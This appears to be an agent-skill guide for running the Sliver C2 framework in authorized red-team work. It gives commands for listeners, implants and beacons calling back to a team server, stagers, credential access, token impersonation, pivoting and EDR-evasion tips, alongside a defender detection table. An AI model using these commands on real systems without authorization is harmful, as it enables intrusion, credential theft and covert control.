AGENT SKILL

Sliver C2红队行动

operating-sliver-c2

搭建 Sliver C2 服务器和 mTLS 监听器,生成跨平台植入体和信标,并通过 Armory 使用 BOF/.NET 工具执行后渗透、pivoting 和工具化操作,用于对手模拟。适用于授权且受交战规则约束的红队行动,需要涵盖服务器搭建、植入体生成和后渗透技术手法的完整开源 C2 生命周期。

License 许可
Apache-2.0
最近更新
2026-08-31
Stars
★ 3.6w
Forks
4.4k

01 前言 Front Matter

name
operating-sliver-c2
tags
[ "red-team", "command-and-control", "sliver", "adversary-emulation", "implant", "post-exploitation", "pivoting", "mtls" ]
author
mahipal
domain
cybersecurity
license
Apache-2.0
version
1.0
nist_csf
[ "DE.CM-01" ]
subdomain
red-teaming
description
Stand up a Sliver C2 server and mTLS listeners, generate cross-platform implants and beacons, and run post-exploitation, pivoting, and BOF/.NET tooling via the Armory for adversary emulation. Use during authorized, rules-of-engagement-bound red-team engagements that need a full open-source C2 lifecycle spanning server setup, implant generation, and post-exploitation tradecraft.
mitre_attack
[ "T1071.001" ]

02 资源文件 4

03 SKILL.md 正文

Operating Sliver C2

Legal Notice: This skill is for authorized security testing, red-team engagements, and educational purposes only. Operating a command-and-control framework against systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud, wiretap, and abuse statutes. Always work within a signed rules-of-engagement document.

Overview

Sliver is an open-source, cross-platform adversary emulation and command-and-control (C2) framework developed by BishopFox (https://github.com/BishopFox/sliver). It is written in Go and is widely used by red teams as a modern, open alternative to commercial frameworks such as Cobalt Strike. Sliver supports two implant interaction models: sessions (interactive, real-time) and beacons (asynchronous check-in with configurable jitter), and it speaks C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Each implant is dynamically compiled with per-binary, asymmetric encryption keys, so no two implants share static signatures.

Sliver also ships an armory — an alias and extension package manager that installs third-party tooling such as Beacon Object Files (BOFs) and .NET assemblies (e.g., sharpdpapi, seatbelt, rubeus) for in-memory execution. Because Sliver has been adopted by real threat actors (documented by Cybereason, Microsoft, and others), exercising it during sanctioned engagements is valuable both for emulating realistic adversary tradecraft and for validating that defensive controls (EDR, network detection, DNS monitoring) catch its C2 channels. This skill covers deploying the server, generating implants, managing listeners, running post-exploitation, and pivoting through compromised hosts.

When to Use

  • When conducting an authorized red-team engagement that requires a resilient, multi-protocol C2 channel
  • When emulating a specific threat actor's TTPs that include Sliver (per CTI reporting) during a purple-team exercise
  • When validating that EDR and network monitoring detect mTLS/HTTPS/DNS beaconing
  • When demonstrating post-exploitation and lateral movement impact for a report

Prerequisites

  • A dedicated Linux redirector/team-server host (Sliver server runs on Linux/macOS/Windows; Linux is standard)
  • Root or sudo for binding privileged ports (443/53) and installing the multiplayer daemon
  • Outbound/inbound network reachability matching the chosen C2 protocol
  • Familiarity with Active Directory and post-exploitation concepts
  • Signed authorization / rules of engagement

Install Sliver server with the official one-liner, or download release binaries:

# Official installer (downloads latest sliver-server + client)
curl https://sliver.sh/install | sudo bash

# Or download specific release binaries from GitHub
wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux
wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-client_linux
chmod +x sliver-server_linux sliver-client_linux

Objectives

  • Launch the Sliver server console and operate in single- or multiplayer mode
  • Start mTLS, HTTPS, and DNS C2 listeners
  • Generate session and beacon implants for multiple OS/architectures
  • Stage implants and host them for delivery
  • Interact with callbacks, run post-exploitation, and dump credentials
  • Install and run armory extensions (BOFs and .NET assemblies)
  • Pivot through a compromised host into segmented networks

MITRE ATT&CK Mapping

ID Technique Use in this skill
T1071.001 Application Layer Protocol: Web Protocols Sliver HTTP(S) C2 listeners blend implant traffic with normal web traffic

Related techniques exercised by the workflow:

ID Technique
T1572 Protocol Tunneling (WireGuard / pivot tunnels)
T1090.001 Internal Proxy (Sliver pivots)
T1059 Command and Scripting Interpreter (implant execute-assembly / shell)
T1620 Reflective Code Loading (in-memory .NET execution)

Workflow

Step 1: Start the Sliver server console

Run the server interactively to get the operator console:

sudo ./sliver-server

Inside the sliver > console, confirm version and view help:

sliver > version
sliver > help

Step 2: (Optional) Configure multiplayer for a team

On the server, generate an operator config and start the multiplayer listener:

sliver > new-operator --name operator1 --lhost teamserver.example.com --save ./operator1.cfg
sliver > multiplayer --lport 31337

Distribute operator1.cfg to teammates, who import it with the standalone client:

./sliver-client import ./operator1.cfg
./sliver-client

Step 3: Start C2 listeners

Start one or more listeners. mTLS is the most robust; HTTPS blends with web traffic; DNS is the stealthiest egress for restrictive networks:

# Mutual TLS listener on 443
sliver > mtls --lport 443

# HTTPS listener (serves on 443 by default; supports custom certs)
sliver > https --lport 443

# Plain HTTP (useful behind a TLS-terminating redirector)
sliver > http --lport 80

# DNS listener for a delegated zone you control
sliver > dns --domains c2.example.com. --lport 53

# View running listeners / background jobs
sliver > jobs

Step 4: Generate implants

Generate a session implant pointing at your mTLS endpoint:

sliver > generate --mtls teamserver.example.com:443 --os windows --arch amd64 --format exe --save /tmp/

Generate a beacon with jitter for asynchronous, lower-noise operation:

sliver > generate beacon --mtls teamserver.example.com:443 --os windows --arch amd64 --seconds 60 --jitter 30 --save /tmp/

Other useful formats and channels:

# HTTPS beacon, shellcode format for injection
sliver > generate beacon --http teamserver.example.com --os windows --arch amd64 --format shellcode --save /tmp/

# DNS implant for egress-restricted targets
sliver > generate --dns c2.example.com. --os windows --format exe --save /tmp/

# Linux/macOS ELF/Mach-O implants
sliver > generate --mtls teamserver.example.com:443 --os linux --arch amd64 --format elf --save /tmp/

# List and remove generated implant builds
sliver > implants
sliver > implants rm IMPLANT_NAME

Step 5: Stage implants (optional)

Host a stager for size-constrained delivery. First start a stage listener, then generate a matching stager:

sliver > profiles new --mtls teamserver.example.com:443 --format shellcode --os windows --arch amd64 win-stage
sliver > stage-listener --url tcp://teamserver.example.com:8443 --profile win-stage
sliver > generate stager --lhost teamserver.example.com --lport 8443 --arch amd64 --format c

Step 6: Interact with callbacks

When an implant calls back, list and select it:

# Interactive sessions
sliver > sessions
sliver > use SESSION_ID

# Asynchronous beacons
sliver > beacons
sliver > use BEACON_ID

Inside an interactive session run core post-exploitation commands:

sliver (SESSION) > info
sliver (SESSION) > whoami
sliver (SESSION) > getprivs
sliver (SESSION) > ls
sliver (SESSION) > netstat
sliver (SESSION) > ps -T            # show injected/protected processes
sliver (SESSION) > screenshot
sliver (SESSION) > execute -o whoami /all

Get a system shell or run a command without spawning a noisy cmd.exe:

sliver (SESSION) > shell            # full interactive shell (noisy; use sparingly)
sliver (SESSION) > execute -o ipconfig /all

Step 7: Privilege escalation and credential access

# Migrate into another process / impersonate
sliver (SESSION) > migrate PID
sliver (SESSION) > make-token -u DOMAIN\\user -p Password123
sliver (SESSION) > getsystem        # attempt SYSTEM via service/named-pipe

# Run .NET tooling in memory (after armory install, see Step 8)
sliver (SESSION) > rubeus triage
sliver (SESSION) > seatbelt -group=system

Step 8: Install and run armory extensions

The armory installs BOFs and .NET assemblies for in-memory use:

sliver > armory                     # list available packages
sliver > armory install all         # or: armory install rubeus / sharpdpapi / etc.
sliver > armory update

Once installed, the alias/extension is available inside a session as a first-class command:

sliver (SESSION) > sharp-dpapi triage
sliver (SESSION) > sa-whoami        # SA = situational awareness BOFs
sliver (SESSION) > inline-execute-assembly /opt/tools/Seatbelt.exe -group=all

Step 9: Pivot into segmented networks

Sliver supports named-pipe and TCP pivots plus SOCKS/port-forwarding for tooling:

# Start a SOCKS5 proxy over the implant for proxychains-driven tools
sliver (SESSION) > socks5 start --port 1081

# Local/reverse port forwards
sliver (SESSION) > portfwd add --bind 127.0.0.1:3389 --remote 10.0.5.20:3389

# TCP pivot listener on the beachhead so deeper implants chain through it
sliver (SESSION) > pivots tcp --bind 0.0.0.0:9898
sliver > generate --tcp-pivot 10.0.5.10:9898 --os windows --format exe --save /tmp/
sliver (SESSION) > pivots                # list active pivot graph

Step 10: Clean up

Remove implants, close sessions, and stop listeners at engagement end:

sliver (SESSION) > kill              # terminate the implant cleanly
sliver > jobs -k JOB_ID             # stop a specific listener
sliver > implants rm IMPLANT_NAME

Tools and Resources

Resource Purpose Link
Sliver (BishopFox) C2 framework source and releases https://github.com/BishopFox/sliver
Sliver Wiki Official documentation https://github.com/BishopFox/sliver/wiki
Sliver docs site Migrated docs https://sliver.sh/docs
Sliver Armory Extension/alias package index https://github.com/sliverarmory
MITRE ATT&CK T1071.001 Web Protocols technique https://attack.mitre.org/techniques/T1071/001/

OPSEC and Detection Considerations

Channel Blends with Defender detection opportunity
mTLS (443) TLS traffic JA3/JA3S fingerprinting, self-signed cert anomalies
HTTPS Web browsing Beaconing periodicity, URI/User-Agent profiling
DNS DNS resolution High-entropy/long subdomain queries, TXT volume
WireGuard VPN traffic Unexpected UDP tunnels from workstations
  • Prefer beacons with jitter over interactive sessions to reduce timing regularity.
  • Avoid shell — it spawns cmd.exe/powershell.exe children that EDR flags; prefer execute and inline assemblies.
  • Use redirectors (nginx/Apache) in front of HTTP(S) listeners so the team server IP is never exposed.

Validation Criteria

  • [ ] Sliver server console launches and version reports the installed build
  • [ ] At least one listener (mTLS/HTTPS/DNS) is running and visible in jobs
  • [ ] A session implant and a beacon implant are generated for the target OS/arch
  • [ ] An implant calls back and appears in sessions/beacons
  • [ ] Post-exploitation commands (info, whoami, screenshot) execute successfully
  • [ ] An armory extension is installed and executed in-memory
  • [ ] A SOCKS proxy or port-forward is established for pivoting
  • [ ] Implants killed, listeners stopped, and artifacts removed at cleanup

04 同仓库更多 Skills

mukul975
mukul975/Anthropic-Cybersecurity-Skills

SLSA 构建来源验证

verifying-build-provenance-with-slsa-sigstore

使用 Sigstore 的 cosign(verify、verify-attestation、verify-blob-attestation)和 slsa-verifier(verify-artifact)验证工件签名和 SLSA 来源(provenance),强制校验 keyless OIDC 构建者身份和源仓库是否符合 SLSA Build 级别。适用于 CI/CD 中部署工件前、消费第三方证明时、建立 SLSA Build L3 管道,或在事件响应或准入控制期间确认来源的场景。

安全工程师软件供应链安全
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

TPM 测量启动验证

validating-tpm-measured-boot-attestation

使用 tpm2-tools 验证 TPM 2.0 测量启动(measured boot)的完整性和远程证明:读取 PCR(tpm2_pcrread)、重放启动事件日志、生成并检查签名报价(tpm2_quote/tpm2_checkquote),以及将机密封印(seal)到 PCR 策略。适用于确认系统已启动可信固件/内核以实现零信任(Zero Trust)设备状态、通过 PCR 漂移检测启动链篡改,或构建黄金值基线用于机群(fleet)证明。

安全工程师终端安全加固
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

备份完整性验证

validating-backup-integrity-for-recovery

通过加密哈希验证、自动化恢复测试、损坏检测和可恢复性检查来验证备份完整性,确认备份对于灾难恢复和勒索软件响应是可靠的。适用于在依赖备份进行恢复之前、构建备份后验证管道、审计备份基础设施以满足合规要求,或检查不可变/air-gapped(气隙)备份是否存在静默损坏或篡改的场景。

SRE 工程师备份与灾难恢复
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

KAPE Windows 取证收集

triaging-windows-with-kape

运行 KAPE(Kroll Artifact Parser and Extractor),通过 Targets 收集目标取证工件(注册表配置单元、$MFT、事件日志、prefetch、浏览器数据),并使用封装 Eric Zimmerman 的 EZ Tools(PECmd、MFTECmd、RECmd)的 Modules 进行解析。适用于事件遏制/分诊早期阶段——此时完整磁盘镜像不切实际,但需要快速获得可采信、可解析的 Windows 工件集,包括大规模远程收集。

安全工程师数字取证与电子证据分析
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

SSVC 漏洞优先级分诊

triaging-vulnerabilities-with-ssvc-framework

使用 CISA 的 Stakeholder-Specific Vulnerability Categorization(SSVC,利益相关方特定漏洞分类)决策树对漏洞进行分诊和优先级排序,权衡利用状态(通过 CISA KEV 目录和 FIRST EPSS API)、技术影响、自动化程度和任务普遍性,输出 Track/Track*/Attend/Act 决策。适用于对漏洞扫描结果(OpenVAS、Nessus、Qualys)进行优先级排序以制定修复计划,而不局限于原始 CVSS 分数的场景。

安全工程师安全公告与漏洞管理
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

安全事件初步分诊

triaging-security-incident

使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初步分诊,分类事件类型、按业务影响分配优先级,并路由到相应的响应团队。适用于 SIEM/EDR 告警需要人工分类、并发告警必须确定优先级,或用户报告或威胁情报 IOC 匹配需要初步事件分类的场景。

安全工程师安全事件响应与威胁狩猎
★ 3.6w